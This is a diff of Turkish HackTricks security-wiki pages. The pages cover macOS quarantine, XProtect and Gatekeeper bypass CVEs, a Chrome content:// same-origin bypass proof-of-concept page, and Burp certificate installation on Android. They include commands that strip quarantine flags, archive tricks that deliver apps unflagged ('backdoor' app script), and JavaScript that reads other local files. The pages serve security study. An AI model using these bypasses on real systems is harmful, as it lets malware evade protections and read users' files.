<summary>Karantina bayraklarını uygulama kaynağı kodu</summary>
<summary>Kaynak Kodu karantina bayraklarını uygula</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -260,15 +263,17 @@ return 0;
}
```
</details>
</detaylar>
Ve şu komutla o özelliği **kaldırın**:
Ve **o özelliği** şu şekilde kaldırın:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
```
Ve karantinaya alınmış tüm dosyaları bulun:
{% code overflow="wrap" %}
```bash
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
```
@ -278,17 +283,17 @@ Karantina bilgileri ayrıca **`~/Library/Preferences/com.apple.LaunchServices.Qu
#### **Quarantine.kext**
Çekirdek uzantısı yalnızca sistemdeki **çekirdek önbelleği** aracılığıyla erişilebilir; ancak, **https://developer.apple.com/** adresinden **Kernel Debug Kit** indirebilir ve uzantının sembolleştirilmiş bir sürümünü alabilirsiniz.
Çekirdek uzantısı yalnızca sistemdeki **çekirdek önbelleği** aracılığıyla erişilebilir; ancak, **https://developer.apple.com/** adresinden indirebileceğiniz **Kernel Debug Kit** içinde uzantının sembolleştirilmiş bir sürümü bulunmaktadır.
### XProtect
XProtect, macOS'ta yerleşik bir **anti-malware** özelliğidir. XProtect, **herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde** bilinen kötü amaçlı yazılım ve güvensiz dosya türleri veritabanına karşı kontrol eder. Belirli uygulamalar aracılığıyla dosya indirdiğinizde, örneğin Safari, Posta veya Mesajlar, XProtect otomatik olarak dosyayı tarar. Veritabanındaki herhangi bir bilinen kötü amaçlı yazılıma uyan bir dosya indirirseniz, XProtect dosyanın çalışmasını **engeller ve tehdidi size bildirir**.
XProtect, macOS'ta bulunan bir **anti-malware** özelliğidir. XProtect, herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılım ve güvensiz dosya türleri veritabanına karşı kontrol eder. Belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, örneğin Safari, Posta veya Mesajlar, XProtect dosyayı otomatik olarak tarar. Veritabanındaki herhangi bir bilinen kötü amaçlı yazılıma uyan bir dosya indirirseniz, XProtect dosyanın çalışmasını **engeller ve tehdidi size bildirir**.
XProtect veritabanı, Apple tarafından düzenli olarak yeni kötü amaçlı yazılım tanımlarıyla güncellenir ve bu güncellemeler otomatik olarak Mac'inize indirilir ve yüklenir. Bu, XProtect'in her zaman en son bilinen tehditlerle güncel olduğunu sağlar.
Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmek önemlidir. Yalnızca belirli bir liste bilinen tehditleri kontrol eder ve çoğu antivirüs yazılımı gibi erişim taraması yapmaz.
Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmek önemlidir. Yalnızca belirli bir liste bilinen tehditleri kontrol eder ve çoğu antivirüs yazılımı gibi on-erişim taraması yapmaz.
En son XProtect güncellemesi hakkında bilgi alabilirsiniz:
En son XProtect güncellemesi hakkında bilgi alabilirsiniz çalıştırarak:
{% code overflow="wrap" %}
```bash
@ -296,14 +301,14 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
```
{% endcode %}
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda bulunur ve içinde XProtect'ın kullandığı bilgilere ulaşabilirsiniz:
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda bulunur ve içinde XProtect'un kullandığı bilgilere ulaşabilirsiniz:
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Bu cdhash'lere sahip kodların eski ayrıcalıkları kullanmasına izin verir.
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID ve TeamID aracılığıyla yüklenmesine izin verilmeyen eklentilerin ve eklentilerin listesi veya bir minimum sürümü belirtir.
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Zararlı yazılımları tespit etmek için Yara kuralları.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenen uygulamaların ve TeamID'lerin karma değerlerinin bulunduğu SQLite3 veritabanı.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenen uygulamaların ve TeamID'lerin karma değerlerini içeren SQLite3 veritabanı.
XProtect ile ilgili **`/Library/Apple/System/Library/CoreServices/XProtect.app`** konumunda başka bir Uygulama olduğunu unutmayın ve bu uygulama Gatekeeper işlemiyle ilgili değildir.
XProtect ile ilgili olmayan başka bir Uygulama olduğuna dikkat edin: **`/Library/Apple/System/Library/CoreServices/XProtect.app`**.
### Gatekeeper Değil
@ -311,25 +316,25 @@ XProtect ile ilgili **`/Library/Apple/System/Library/CoreServices/XProtect.app`*
Gatekeeper'ın **her uygulamayı çalıştırdığınızda her zaman çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından zaten doğrulanmış ve onaylanmış bir uygulamayı çalıştırdığınızda **yürütülebilir kod imzalarını doğrular**.
{% endhint %}
Bu nedenle, önceden bir uygulamayı Gatekeeper ile önbelleğe almak için uygulamayı çalıştırabilir ve **uygulamanın yürütülebilir olmayan dosyalarını değiştirebilirsiniz** (örneğin, Electron asar veya NIB dosyaları) ve başka korumalar olmadığı sürece, uygulama **zararlı eklemelerle** birlikte **çalıştırılırdı**.
Bu nedenle, önceden bir uygulamayı Gatekeeper ile önbelleğe almak için uygulamayı çalıştırmanın ardından (örneğin Electron asar veya NIB dosyaları gibi) **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** mümkündü ve başka korumalar olmadığı sürece, uygulama **zararlı eklemelerle** birlikte **çalıştırılıyordu**.
Ancak şimdi bu mümkün değil çünkü macOS, uygulama paketleri içindeki dosyaları değiştirmeyi **engeller**. Bu nedenle, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, artık bunu kötüye kullanamayacağınızı göreceksiniz çünkü uygulamayı Gatekeeper ile önbelleğe almak için çalıştırdıktan sonra paketi değiştiremeyeceksiniz. Ve örneğin, İçerik dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve daha sonra uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata alacak ve çalıştırmayacaktır.
Ancak şimdi macOS, uygulama paketleri içindeki dosyaların değiştirilmesini **engelliyor**. Bu nedenle, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, artık bunu kötüye kullanmanın mümkün olmadığını göreceksiniz çünkü uygulamayı Gatekeeper ile önbelleğe almak için çalıştırdıktan sonra paketi değiştiremeyeceksiniz. Örneğin, İçerik dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata alacak ve çalıştırmayacaktır.
## Gatekeeper Atlatmaları
Kullanıcının bir şeyi indirmesini ve Gatekeeper'ın bunu engellemesi gerektiği durumda bunu yürütmesini sağlamak herhangi bir şekilde Gatekeeper'ı atlamak macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlamayı sağlayan tekniklere atanan bazı CVE'ler şunlardır:
Kullanıcının bir şeyi indirmesini ve Gatekeeper'ın bunu engellemesi gerektiği durumda çalıştırmasını sağlamak (Gatekeeper'ı atlamak) herhangi bir yöntem, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlamayı sağlayan tekniklere atanan bazı CVE'ler şunlardır:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Arşiv Yardımcı**'nın kullanılması durumunda, **886 karakteri aşan yollara sahip dosyaların** com.apple.quarantine genişletilmiş özniteliğini almadığı gözlemlendi. Bu durum yanlışlıkla bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **atlamasına** izin verir.
**Arşiv Yardımcısı**'nın kullanılması durumunda, **886 karakteri aşan yollara sahip dosyaların** com.apple.quarantine genişletilmiş özniteliğini almadığı gözlemlendi. Bu durum yanlışlıkla bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **atlamasına** izin verir.
Daha fazla bilgi için [**orijinal rapora**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) bakın.
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
Bir uygulama **Automator** ile oluşturulduğunda, uygulamanın neyi yürüteceği hakkındaki bilgiler `application.app/Contents/document.wflow` içinde değil, yürütülebilirde bulunur. Yürütülebilir sadece **Automator Uygulama Taklidi** olarak adlandırılan genel bir Automator ikilisidir.
Bir uygulama **Automator** ile oluşturulduğunda, uygulamanın neyi yürüteceği hakkındaki bilgiler `application.app/Contents/document.wflow` içinde değil, yürütülebilirde bulunur. Yürütülebilir sadece **Automator Uygulama Taklidi** olarak adlandırılan genel bir Automator ikili dosyasıdır.
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub`'ı başka bir sistemdeki başka bir Automator Uygulama Taklidi'ne sembolik bir bağlantı yaparak yapabilir ve `document.wflow` içinde ne varsa (betiğiniz) **Gatekeeper'ı tetiklemeden** yürütür.
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub`'ı başka bir sistemdeki başka bir Automator Uygulama Taklidi'ne sembolik bir bağlantı yapabilir ve `document.wflow` içinde ne varsa (betiğiniz) **Gatekeeper'ı tetiklemeden** yürütür.
Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -337,11 +342,11 @@ Daha fazla bilgi için [**orijinal rapora**](https://ronmasas.com/posts/bypass-m
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
Bu atlatmada, bir zip dosyası `application.app` yerine `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama oluşturuldu. Bu nedenle, **karantina özniteliği** tüm **dosyalara `application.app/Contents`** uygulandı ancak **`application.app`'ye** uygulanmadı, Gatekeeper'ın kontrol ettiği dosyalardan biriydi, bu nedenle Gatekeeper, `application.app` tetiklendiğinde **karantina özniteliğine sahip olmadığı için** atlatıldı.
Bu atlatmada, bir zip dosyası oluşturuldu ve sıkıştırmaya `application.app` yerine `application.app/Contents`'den başlandı. Bu nedenle, **karantina özniteliği** tüm **dosyalara `application.app/Contents`** uygulandı ancak **`application.app`'ye** uygulanmadı, Gatekeeper'ın kontrol ettiği şey buydu, bu nedenle `application.app` tetiklendiğinde **karantina özniteliğine sahip olmadığı için Gatekeeper atlatıldı.**
```bash
zip -r test.app/Contents test.zip
```
Daha fazla bilgi için [**orijinal rapora**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) bakın.
Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) kontrol edin.
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
@ -349,11 +354,9 @@ Bileşenler farklı olsa da, bu zafiyetin sömürülmesi öncekine çok benzer.
```bash
aa archive -d test.app/Contents -o test.app.aar
```
[**Orijinal raporu**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) kontrol edin.
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`** dosyada bir öznitelik yazmasını engellemek için kullanılabilir:
ACL **`writeextattr`** kullanılarak bir dosyada bir öznitelik yazılmasını engellemek için kullanılabilir:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -362,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Ayrıca, **AppleDouble** dosya biçimi, ACE'lerini içeren bir dosyanın kopyasını oluşturur.
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılmış dosyada ACL olarak ayarlanacaktır. Dolayısıyla, bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile birlikte **AppleDouble** dosya biçimine sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr'si uygulamaya ayarlanmamış olacaktır:
[**Kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebileceği gibi, **`com.apple.acl.text`** adlı xattr içinde depolanan ACL metin temsili, dekompresyon yapılan dosyada ACL olarak ayarlanacaktır. Dolayısıyla, eğer bir uygulamayı diğer xattr'lerin yazılmasını engelleyen bir ACL ile birlikte **AppleDouble** dosya biçimine sahip bir zip dosyasına sıkıştırdıysanız... karantina xattr'si uygulamaya ayarlanmamış olacaktır:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -371,9 +374,9 @@ python3 -m http.server
```
{% endcode %}
Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin.
Daha fazla bilgi için [**orijinal rapora**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) bakın.
Bu aynı zamanda AppleArchives ile de sömürülebilir:
Bu ayrıca AppleArchives ile de sömürülebilir:
```bash
mkdir app
touch app/test
@ -398,7 +401,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
Karantina özniteliğine sahip olmayan bir dosya oluşturabilme yeteneği sayesinde **Gatekeeper'ı atlayabilirsiniz.** Hile, AppleDouble adı konvansiyonunu kullanarak (`._` ile başlatın) bir DMG dosyası uygulaması oluşturmak ve karantina özniteliğine sahip olmayan bu gizli dosyaya bir sembolik bağ oluşturmaktı. **Dmg dosyası çalıştırıldığında**, karantina özniteliğine sahip olmadığı için **Gatekeeper'ı atlayacaktır.**
Karantina özniteliği ayarlanmayan bir dosya oluşturabilmek, **Gatekeeper'ı atlayabilmeyi mümkün kıldı.** Hile, AppleDouble adı konvansiyonunu kullanarak (`._` ile başlat) bir DMG dosyası uygulaması oluşturmak ve karantina özniteliği olmayan bu gizli dosyaya bir sembolik bağ olarak görünür bir dosya oluşturmaktı.\
**Dmg dosyası yürütüldüğünde**, karantina özniteliğine sahip olmadığı için **Gatekeeper'ı atlayacaktır.**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -414,6 +418,10 @@ ln -s ._app.dmg s/app/app.dmg
echo "[+] compressing files"
aa archive -d s/ -o app.aar
```
### Karantina xattr'ını Önle
### Karantina xattr'yi Önle
Bir ".app" paketinde karantina xattr eklenmemişse, **uygulama çalıştırıldığında Gatekeeper tetiklenmeyecek**.
Bir ".app" paketinde karantina xattr eklenmediğinde, **uygulama çalıştırıldığında Gatekeeper tetiklenmeyecek**.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -1,33 +1,38 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hackleme hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
**Bu, [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) adlı yazının özeti.**
{% embed url="https://websec.nl/" %}
### Medya Deposunda Dosyaları Listeleme
**Bu, [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) gönderisinin özeti.**
### Medya Deposundaki Dosyaların Listelenmesi
Medya Deposu tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
```bash
$ content query --uri content://media/external/file
```
Daha insan dostu bir çıktı için, yalnızca her dizinlenmiş dosyanın tanımlayıcısını ve yolunu görüntüleyin:
Daha insan dostu bir çıktı için yalnızca dizinlenen her dosyanın tanımlayıcısını ve yolunu görüntüleme:
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
İçerik sağlayıcılar kendi özel ad alanlarında izole edilir. Bir sağlayıcıya erişim, belirli bir `content://` URI gerektirir. Bir sağlayıcıya erişmek için yol bilgileri, uygulama manifestlerinden veya Android çerçevesinin kaynak kodundan elde edilebilir.
### İçerik Sağlayıcılarına Erişim
İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli `content://` URI'si gerektirir. Bir sağlayıcıya erişmek için yol bilgileri, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.
### Chrome'un İçerik Sağlayıcılara Erişimi
Android'deki Chrome, `content://` şeması aracılığıyla içerik sağlayıcılara erişebilir ve üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraf veya belgeler gibi kaynaklara erişebilir. Bunun örneğini vermek için, bir dosya Medya Deposuna eklenir ve ardından Chrome üzerinden erişilir:
Android'deki Chrome, üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişmesine izin veren `content://` şeması aracılığıyla içerik sağlayıcılarına erişebilir. Bunu açıklamak için bir dosya Medya Deposuna eklenip ardından Chrome aracılığıyla erişilebilir:
Medya Deposuna özel bir giriş ekleyin:
```bash
@ -37,27 +42,27 @@ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
Yeni eklenen dosyanın tanımlayıcısını keşfedin:
Yeni eklenen dosyanın kimliğini keşfedin:
```bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
Dosya, dosyanın tanımlayıcısıyla oluşturulan bir URL kullanılarak Chrome'da görüntülenebilir.
Dosya daha sonra dosyanın tanımlayıcısı kullanılarak oluşturulan bir URL kullanılarak Chrome'da görüntülenebilir.
Örneğin, belirli bir uygulamayla ilgili dosyaları listelemek için:
```bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
### Chrome CVE-2020-6516: Aynı Köken Politikası Atlatma
_Same Origin Policy_ (SOP), tarayıcılarda web sayfalarının farklı kökenlere ait kaynaklarla etkileşimini, Cross-Origin-Resource-Sharing (CORS) politikası tarafından açıkça izin verilmediği sürece kısıtlayan bir güvenlik protokolüdür. Bu politika, bilgi sızıntılarını ve cross-site request forgery'yi önlemeyi amaçlar. Chrome, `content://`'yi yerel bir şema olarak kabul eder ve her bir yerel şema URL'sinin ayrı bir köken olarak işlem gördüğü daha sıkı SOP kuralları uygular.
_Aynı Köken Politikası_ (SOP), tarayıcılardaki bir güvenlik protokolüdür ve bir Çapraz Köken Kaynak Paylaşımı (CORS) politikası tarafından açıkça izin verilmedikçe web sayfalarının farklı kökenlerden kaynaklarla etkileşmesini kısıtlar. Bu politika, bilgi sızıntılarını ve çapraz site istek sahteciliğini önlemeyi amaçlar. Chrome, `content://`'yi yerel bir şema olarak kabul eder ve her yerel şema URL'sinin ayrı bir köken olarak işlendiği daha katı SOP kuralları ima eder.
Ancak, CVE-2020-6516, Chrome'da `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlanmasına izin veren bir güvenlik açığıydı. Bu açık sayesinde, `content://` URL'si üzerinden yüklenen JavaScript kodu, özellikle Android 10'dan önceki sürümlerde kapsamlı depolama uygulanmadığı için önemli bir güvenlik endişesi olan diğer `content://` URL'si üzerinden yüklenen kaynaklara erişebiliyordu.
Ancak, CVE-2020-6516, Chrome'da bir güvenlik açığıydı ve `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlatılmasına izin veriyordu. Sonuç olarak, bir `content://` URL'sinden JavaScript kodu, özellikle Android 10'dan önceki sürümlerde uygulanmayan kapsamlı depolama olmadığı durumlarda, diğer `content://` URL'si aracılığıyla yüklenen diğer kaynaklara erişebiliyordu, bu da önemli bir güvenlik endişesi oluşturuyordu.
Aşağıdaki örnek, bu güvenlik açığını göstermektedir. Bir HTML belgesi, **/sdcard** altına yüklendikten sonra Medya Deposuna eklenir ve JavaScript'te `XMLHttpRequest` kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişir ve içeriğini görüntüler. Bu sayede SOP kurallarını atlamış olur.
Aşağıdaki kanıt-of-konsept, bir HTML belgesinin, **/sdcard** altına yüklendikten ve Medya Deposuna eklenip, JavaScript'inde `XMLHttpRequest` kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişip gösterdiği bu güvenlik açığı göstermektedir, SOP kurallarını atlayarak.
Örnek HTML:
Kanıt-of-Konsept HTML:
```xml
<html>
<head>
@ -86,16 +91,20 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,21 +6,26 @@
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Sanal Makinede
İlk olarak, Burp'tan Der sertifikasını indirmeniz gerekmektedir. Bunun için _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ adımlarını takip edebilirsiniz.
İlk olarak, Burp'tan Der sertifikasını indirmeniz gerekmektedir. Bunun için _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ adımlarını izleyebilirsiniz
![](<../../.gitbook/assets/image (367).png>)
Sertifikayı **Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim**. **Android makinesinde burp sertifikasını yapılandırmak için AVD'de** bu makineyi **`-writable-system`** seçeneğiyle **çalıştırmanız gerektiğini unutmayın.**\
**Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle çalıştırmanız gerekmektedir.\
Örneğin şu şekilde çalıştırabilirsiniz:
{% code overflow="wrap" %}
@ -48,35 +53,35 @@ adb reboot #Now, reboot the machine
## Magisc Kullanımı
Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için yazılabilir olarak yeniden bağlayamıyorsanız**, Burp sertifikasını yüklemek için önceki adımları takip edemiyorsanız, başka bir yol var.
Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için** Burp sertifikasını yüklemek için önceki adımları takip edemiyorsanız, başka bir yol bulunmaktadır.
[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi yapmanız gerekenler:
[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir:
1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına değiştirerek mobil cihaza indirin ve `İndirilenler` klasörüne kaydedin, ardından `Sertifika yükle` -> `CA sertifikası` seçeneğine gidin
1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın** ve İndirilenler klasörüne kaydedin, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
